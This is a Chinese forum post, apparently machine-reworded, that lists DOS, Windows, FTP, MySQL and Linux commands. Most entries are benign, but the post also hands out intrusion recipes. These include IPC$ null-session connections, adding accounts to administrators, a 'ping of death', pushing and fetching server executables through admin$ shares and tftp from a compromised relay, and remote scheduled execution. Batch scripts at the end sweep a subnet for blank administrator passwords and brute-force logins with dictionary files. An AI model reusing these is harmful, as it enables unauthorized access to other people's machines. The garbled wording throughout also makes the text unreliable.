dos命令

6个月前 (10-09 18:48)阅读3回复0
xxhh
xxhh
  • 管理员
  • 注册排名4
  • 经验值145350
  • 级别管理员
  • 主题29070
  • 回复0
楼主

  常用DOS号令集

DOS常用号令

要想操做利用DOS,晓得一些常用号令长短常重要的。以下是一些号令的用法。

文件名是由文件途径和文件名称合起来的,如C:\DOS\COMMAND。COM。

DIR 显示文件和文件夹(目次)。

用法:DIR [文件名] [选项]

它有良多选项,如/A暗示显示所有文件(即包罗带隐含和系统属性的文件),/S暗示也显示子文件夹中的文件,/P暗示分屏显示,/B暗示只显示文件名,等等。

如 DIR A*。EXE /A /P

此号令分屏显示当前文件夹下所有以A开头后缀为EXE的文件(夹)。

CD或CHDIR 改动当前文件夹。

用法:CD [文件夹名]

若无文件夹名则显示当前途径。

MD或MKDIR 成立文件夹。

用法:MD 文件夹名

RD或RMDIR 删除文件夹。

用法:RD 文件夹名

留意:此文件夹必需是空的。

DEL或ERASE 删除文件。

用法:DEL/ERASE 文件名

COPY 拷贝文件。

用法: COPY 文件名1 [文件名2] [选项]

如 COPY /B A+B C

此号令将两个二进造文件A和B合为一个文件C。

TYPE 显示文件内容。

用法:TYPE 文件名

REN或RENAME 改动文件名,在DOS7中还能够改动文件夹名。

用法:REN 文件(夹)名1 文件(夹)名2

EDIT 编纂文件,在DOS7中还能够编纂二进造文件。

用法:EDIT [文件名] [选项]

如 EDIT /70 C:\COMMAND。

  COM

此号令以二进造体例编纂C:\COMMAND。COM文件。

FORMAT 格局化磁盘。

用法:FORMAT 驱动器 [选项]

它的选项良多,如/Q是快速格局化,/U暗示无前提格局化(即无法利用UNFORMAT等号令恢复),/V指定磁盘的卷标名,等等。

  它还有许多未公开参数。

MEM 显示内存形态。

用法:MEM [选项]

它的选项也有很多,如/C可列出所有法式的内存占用,/D是显示驻留内存的法式及设备驱动法式的形态等详细信息,/F显示空闲的内存总量,/M显示内存中的模块信息,/P则是分屏显示。

  还有隐藏的/A选项,能够显示HMA信息。

MOVE 挪动文件或文件夹,还能够更改文件或文件夹的名称。

用法:MOVE 文件[夹]1 文件[夹]2

如 MOVE C:\*。EXE D:

此号令能够将C盘根文件夹下所有扩展名为EXE的文件移到D盘上。

XCOPY 复造文件或文件夹。

用法:XCOPY 文件[夹]名1 [文件[夹]名2] [选项]

它的选项十分多,如/S可拷贝整个文件夹(包罗子文件夹)中的文件,/E指定包罗空文件夹,/V暗示复造完后查验复造出的文件的准确性,/Y暗示确认,等等。

CLS 肃清屏幕。

用法:CLS

SYS 传导系统,即将系统文件(如IO。SYS等)从一处传输到指定的驱动器中。

用法:SYS 文件夹名 [驱动器]

如 SYS C:\DOS A:

此号令即可将位于C:\DOS文件夹下的系统文件传输到A盘中。

DATE 显示或设置日期。

用法:DATE [日期]

TIME 显示或设置时间。

用法:TIME [时间]

DOS还自带一些其它的号令,如SORT(排序),FIND(寻找字符)等。

除DOS自带的号令以外,还有良多其它的加强号令也十分适用,它们能够大大加强DOS的功用。

  那些软件中有良多能够在“DOS软件”中下载。

若是你想进修DOS号令,能够如许:

起头->所有法式->附件->号令提醒符

在光标处输入 HELP >C:\SSS.TXT

封闭号令提醒符

用记事本翻开C盘根目次下的SSS文件,能够看到全数可施行号令的名字与功用.

在号令提醒符下,能够输入号令名称 /?,就能够看到此号令的详细利用办法.

  以下是我保藏的,全数给你了:

net use \\ip\ipc$ " " /user:" " 成立IPC空链接

net use \\ip\ipc$ "密码" /user:"用户名" 成立IPC非空链接

net use h: \\ip\c$ "密码" /user:"用户名" 间接登岸后映射对方C:到当地为H:

net use h: \\ip\c$ 登岸后映射对方C:到当地为H:

net use \\ip\ipc$ /del 删除IPC链接

net use h: /del 删除映射对方到当地的为H:的映射

net user 用户名 密码 /add 成立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把“用户”添加到办理员中使其具有办理员权限,留意:administrator后加s用复数

net start 查看开启了哪些办事

net start 办事名 开启办事;(如:net start telnet, net start schedule)

net stop 办事名 停行某办事

net time \\目的ip 查看对方时间

net time \\目的ip /set 设置当地计算机时间与“目的IP”主机的时间同步,加上参数/yes可打消确认信息

net view 查看当地局域网内开启了哪些共享

net view \\ip 查看对方局域网内开启了哪些共享

net config 显示系统收集设置

net logoff 断开毗连的共享

net pause 办事名 暂停某办事

net send ip "文本信息" 向对方发信息

net ver 局域网内正在利用的收集毗连类型和信息

net share 查看当地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C:共享

net user guest 12345 用guest用户登岸后用将密码改为12345

net password 密码 更改系统登岸密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的收集毗连情况,常用netstat -an

netstat -v 查看正在停止的工做

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议利用情况(查看tcp/ip协议利用情况)

netstat -s 查看正在利用的所有协议利用情况

nbtstat -A ip 对方136到139此中一个端口开了的话,就可查看对方比来登岸的用户名(03前的为用户名)-留意:参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指不断ping。

ping -t -l 65550 ip 灭亡之ping(发送大于K的文件并不断ping就成了灭亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看当地ip地址,ipconfig可用参数“/all”显示全数设置装备摆设信息

tlist -t 以树行列表显示历程(为系统的附加东西,默认是没有安拆的,在安拆目次的Support/tools文件夹内)

kill -F 历程名 加-F参数后强迫完毕某历程(为系统的附加东西,默认是没有安拆的,在安拆目次的Support/tools文件夹内)

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA别离暗示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A暗示删除除只读、隐藏、系统、存档以外的文件。

  例如“DEL/AR *。*”暗示删除当前目次下所有只读文件,“DEL/A-S *。*”暗示删除当前目次下除系统文件以外的所有文件

del /S /Q 目次 或用:rmdir /s /Q 目次 /S删除目次及目次下的所有子目次和文件。同时利用参数/Q 可打消删除操做时的系统确认就间接删除。

  (二个号令感化不异)

move 盘符\途径\要挪动的文件名 存放挪动文件的途径\挪动后文件名 挪动文件,用参数/y将打消确认挪动目次存在不异文件的提醒就间接笼盖

fc one。txt two。txt > 3st。txt 比照二个文件并把差别之处输出到3st。

  txt文件中,"> "和"> >" 是重定向号令

at id号 开启已注册的某个方案使命

at /delete 停行所有方案使命,用参数/yes则不需要确认就间接停行

at id号 /delete 停行某个已注册的方案使命

at 查看所有的方案使命

at \\ip time 法式名(或一个号令) /r 在某时间运行对方某法式并从头启动计算机

finger username @host 查看比来有哪些用户登岸

telnet ip 端口 远和登岸办事器,默认端口为23

open ip 毗连到IP(属telnet登岸后的号令)

telnet 在本机上间接键入telnet 将进入本机的telnet

copy 途径\文件名1 途径\文件名2 /y 复造文件1到指定的目次为文件2,用参数/y就同时打消确认你要改写一份现存目次文件

copy c:\srv。

  exe \\ip\admin$ 复造当地c:\srv。exe到对方的admin下

cppy g/b+2st。txt/a g 将2st。txt的内容藏身到 g中生成 g新的文件,注:2st。txt文件头要空三排,参数:/b指二进造文件,/a指ASCLL格局文件

copy \\ip\admin$\svv。

  exe c:\ 或:copy\\ip\admin$\*。* 复造对方admini$共享下的srv。exe文件(所有文件)至当地C:

xcopy 要复造的文件或目次树 目的地址\目次名 复造文件和目次树,用参数/Y将不提醒笼盖不异文件

tftp -i 本身IP(用肉机做跳板时那用肉机IP) get server。

  exe c:\server。exe 登岸后,将“IP”的server。exe下载到目的主机c:\server。exe 参数:-i指以二进造形式传送,如传送exe文件时用,如不加-i 则以ASCII形式(传送文本文件形式)停止传送

tftp -i 对方IP put c:\server。

  exe 登岸后,上传当地c:\server。exe至主机

ftp ip 端口 用于上传文件至办事器或停止文件操做,默认端口为21。bin指用二进造体例传送(可施行文件进);默认为ASCII格局传送(文本文件时)

route print 显示出IP路由,将次要显示收集地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

arp 查看和处置ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。

  arp -a将显示出全数信息

start 法式名或号令 /max 或/min 新开一个新窗口并更大化(最小化)运行某法式或号令

mem 查看cpu利用情况

attrib 文件名(目次名) 查看某文件(目次)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

dir 查看文件,参数:/Q显示文件及目次属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件前次被拜候时间,/T:W前次被修改时间

date /t 、 time /t 利用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而没必要输入新日期和时间

set 指定情况变量名称=要指派给变量的字符 设置情况变量

set 显示当前所有的情况变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有情况变量

pause 暂停批处置法式,并显示出:请按肆意键继续。

if 在批处置法式中施行前提处置(更多申明见if号令及变量)

goto 标签 将cmd。exe导向到批处置法式中带标签的行(标签必需零丁一行,且以冒号打头,例如:“:start”标签)

call 途径\批处置文件名 从批处置法式中挪用另一个批处置法式 (更多申明见call /?)

for 对一组文件中的每一个文件施行某个特定数令(更多申明见for号令及变量)

echo on或off 翻开或封闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 >> pass。

  txt 将"信息"保留到pass。txt文件中

findstr "Hello" aa。txt 在aa。txt文件中寻找字符串hello

find 文件名 查找某文件

title 题目名字 更改CMD窗口题目名字

color 颜色值 设置cmd控造台前景和布景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd。

  exe的显示的号令提醒符(把C:\、D:\同一改为:EntSky\ )

print 文件名 打印文本文件

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补钉版本、计算机名)

format 盘符 /FS:类型 格局化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 目次名 创建目次

replace 源文件 要替代文件的目次 替代文件

ren 原文件名 新文件名 重定名文件名

tree 以树形构造显示出目次,用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的号令=字符

doskey 要解锁号令= 为DOS供给的锁定数令(编纂号令行,从头挪用win2k号令,并创建宏)。

  如:锁定dir号令:doskey dir=entsky (不克不及用doskey dir=dir);解锁:doskey dir=

taskmgr 调出使命办理器

chkdsk /F D: 查抄磁盘D并显示形态陈述;加参数/f并修复磁盘上的错误

tlntadmn telnt办事admn,键入tlntadmn选择3,再选择8,就能够更改telnet办事默认端口23为其它任何端口

exit 退出cmd。

  exe法式或目前,用参数/B则是退出当前批处置脚本而不是cmd。exe

path 途径\可施行文件的文件名 为可施行文件设置一个途径。

cmd 启动一个win2K号令解释窗口。参数:/eff、/en 封闭、开启号令扩展;更我详细申明见cmd /?

regedit /s 注册表文件名 导入注册表;参数/S指恬静形式导入,无任何提醒;

regedit /e 注册表文件名 导出注册表

cacls 文件名 参数 显示或修改文件拜候控造列表(ACL)——针对NTFS格局时。

  参数:/D 用户名:设定回绝某用户拜候;/P 用户名:perm 替代指定用户的拜候权限;/G 用户名:perm 付与指定用户拜候权限;Perm 能够是: N 无,R 读取, W 写入, C 更改(写入),F 完全控造;例:cacls D:\test。

  txt /D pub 设定d:\test。txt回绝pub用户拜候。

cacls 文件名 查看文件的拜候用户权限列表

REM 文本内容 在批处置文件中添加注解

netsh 查看或更改当地收集设置装备摆设情况

IIS办事号令:

iisreset /reboot 重启win2k计算机(但有提醒系统将重启信息呈现)

iisreset /start或stop 启动(停行)所有Internet办事

iisreset /restart 停行然后从头启动所有Internet办事

iisreset /status 显示所有Internet办事形态

iisreset /enable或disable 在当地系统上启用(禁用)Internet办事的从头启动

iisreset /rebootonerror 当启动、停行或从头启动Internet办事时,若发作错误将从头开机

iisreset /noforce 若无法停行Internet办事,将不会强迫末行Internet办事

iisreset /timeout Val在抵达逾时间(秒)时,仍未停行Internet办事,若指定/rebootonerror参数,则电脑将会从头开机。

  预设值为从头启动20秒,停行60秒,从头开机0秒。

FTP 号令: (后面有详细申明内容)

ftp的号令行格局为:

ftp -v -d -i -n -g[主机名] -v 显示长途办事器的所有响应信息。

-d 利用调试体例。

-n 限造ftp的主动登录,即不利用。

  netrc文件。

-g 打消全局文件名。

help [号令] 或 ?[号令] 查看号令申明

bye 或 quit 末行主机FTP历程,并退出FTP办理体例。

pwd 列出当前远端主机目次

put 或 send 当地文件名 [上传到主机上的文件名] 将当地一个文件传送至远端主机中

get 或 recv [长途主机文件名] [下载到当地后的文件名] 从远端主机中传送至当地主机中

mget [remote-files] 从远端主机领受一批文件至当地主机

mput local-files 将当地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目次中的文件。

  若是有当地文件,就将成果写至当地文件

ascii 设定以ASCII体例传送文件(缺省值)

bin 或 image 设定以二进造体例传送文件

bell 每完成一次文件传送,报警提醒

cdup 返回上一级目次

close 中断与长途办事器的ftp会话(与open对应)

open host[port] 成立指定ftp办事器毗连,可指定毗连端口

delete 删除远端主机中的文件

mdelete [remote-files] 删除一批文件

mkdir directory-name 在远端主机中成立目次

rename [from] [to] 改动远端主机中的文件名

rmdir directory-name 删除远端主机中的目次

status 显示当前FTP的形态

system 显示远端主机系统类型

user user-name [password] [account] 从头以此外用户名登录远端主机

open host [port] 从头成立一个新的毗连

prompt 交互提醒形式

macdef 定义宏号令

lcd 改动当前当地主机的工做目次,若是缺省,就转到当前用户的HOME目次

chmod 改动远端主机的文件权限

case 当为ON时,用MGET号令拷贝的文件名到当地机器中,全数转换为小写字母

cd remote-dir 进入长途主机目次

cdup 进入长途主机目次的父目次

! 在当地机中施行交互shell,exit回到ftp情况,如!ls*。

  zip

MYSQL 号令:

mysql -h主机地址 -u用户名 -p密码 毗连MYSQL;若是刚安拆好MYSQL,超等用户root是没有密码的。

(例:mysql -h -Uroot -P123456

注:u与root能够不消加空格,其它也一样)

exit 退出MYSQL

mysqladmin -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库。

  * to 用户名@登录主机 identified by \"密码\"; 增加新用户。(留意:和上面差别,下面的因为是MYSQL情况中的号令,所以后面都带一个分号做为号令完毕符)

show databases; 显示数据库列表。刚起头时才两个数据库:mysql和test。

  mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,现实上就是用那个库停止操做。

use mysql;

show tables; 显示库中的数据表

describe 表名; 显示数据表的构造

create database 库名; 建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名;

drop table 表名; 删库和删表

delete from 表名; 将表中记录清空

select * from 表名; 显示表中的记录

mysqldump --opt school> b 备份数据库:(号令在DOS的\\mysql\\bin目次下施行);正文:将数据库school备份到 b文件, b是一个文本文件,文件名任取,翻开看看你会有新发现。

win2003系统下新增号令(适用部分):

shutdown /参数 封闭或重启当地或长途主机。

参数申明:/S 封闭主机,/R 重启主机, /T 数字 设定延时的时间,范畴0~180秒之间, /A打消开机,/M //IP 指定的长途主机。

例:shutdown /r /t 0 立即重启当地主机(无延时)

taskill /参数 历程名或历程的pid 末行一个或多个使命和历程。

参数申明:/PID 要末行历程的pid,可用tasklist号令获得各历程的pid,/IM 要末行的历程的历程名,/F 强迫末行历程,/T 末行指定的历程及他所启动的子历程。

tasklist 显示当前运行在当地和长途主机上的历程、办事、办事各历程的历程标识符(PID)。

参数申明:/M 列出当前历程加载的dll文件,/SVC 显示出每个历程对应的办事,无参数时就只列出当前的历程。

Linux系统下根本号令: 要区分大小写

uname 显示版本信息(同win2K的 ver)

dir 显示当前目次文件,ls -al 显示包罗隐藏文件(同win2K的 dir)

pwd 查询当前所在的目次位置

cd cd 。

  。回到上一层目次,留意cd 与。。之间有空格。cd /返回到根目次。

cat 文件名 查看文件内容

cat >abc。txt 往abc。txt文件中写上内容。

more 文件名 以一页一页的体例显示一个文本文件。

cp 复造文件

mv 挪动文件

rm 文件名 删除文件,rm -a 目次名删除目次及子目次

mkdir 目次名 成立目次

rmdir 删除子目次,目次内没有文档。

chmod 设定档案或目次的存取权限

grep 在档案中查找字符串

diff 档案文件比力

find 档案搜索

date 如今的日期、时间

who 查询目前和你利用统一台机器的人以及Login时间地点

w 查询目前上机者的详细材料

whoami 查看本身的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看本身下过的号令

ps 显示历程形态

kill 停行某历程

gcc 黑客凡是用它来编译C语言写的文件

su 权限转换为指定利用者

telnet IP telnet毗连对方主机(同win2K),当呈现bash$时就申明毗连胜利。

ftp ftp毗连上某办事器(同win2K)

附:批处置号令与变量

1:for号令及变量 根本格局:

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替代的参数,如:%i ,而指定一个变量则用:%%i ,而挪用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处置每次能处置的变量从%0—%9共10个,此中%0默认给批处置文件名利用,%1默认为利用此批处置时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可利用通配符,如:(D:\user。

  txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指完毕值,即:从1到254;“(1 -1 254)”申明:即从254到1}

command:指定对第个文件施行的号令,如:net use号令;如要施行多个号令时,号令那间加:& 来离隔

command_parameters:为特定数令指定参数或号令行开关

IN (set):指在(set)中取值;DO command :指施行command

参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不竭取值,曲到取完为行{(set)为文件时,如(d:\pass。

  txt)时}。

用法举例:

@echo off

echo 用法格局: t *。*。* > test。txt

for /L %%G in (1 1 254) do echo %1。%%G >>test。txt & net use \\%1。

  %%G /user:administrator | find "号令胜利完成" >>test。txt

存为 t 申明:对指定的一个C类网段的254个IP依次试成立administrator密码为空的IPC$毗连,若是胜利就把该IP存在test。

  txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*。*。*为批处置默认的 %1;%%G 为变量(ip的最初一位);& 用来离隔echo 和net use 那二个号令;| 指成立了ipc$后,在成果顶用find查看能否有"号令胜利完成"信息;%1。

  %%G 为完好的IP地址;(1 1 254) 指起始值,增长量,结行值。

@echo off

echo 用法格局: t ip

FOR /F %%i IN (D:\user。dic) DO smb。exe %1 %%i D:\pass。

  dic 200

存为:ok。exe 申明:输入一个IP后,用字典文件d:\pass。dic来暴解d:\user。dic中的用户密码,曲到文件中值取完为行。%%i为用户名;%1为输入的IP地址(默认)。

2:if号令及变量 根本格局:。

0
回帖

dos命令 期待您的回复!

取消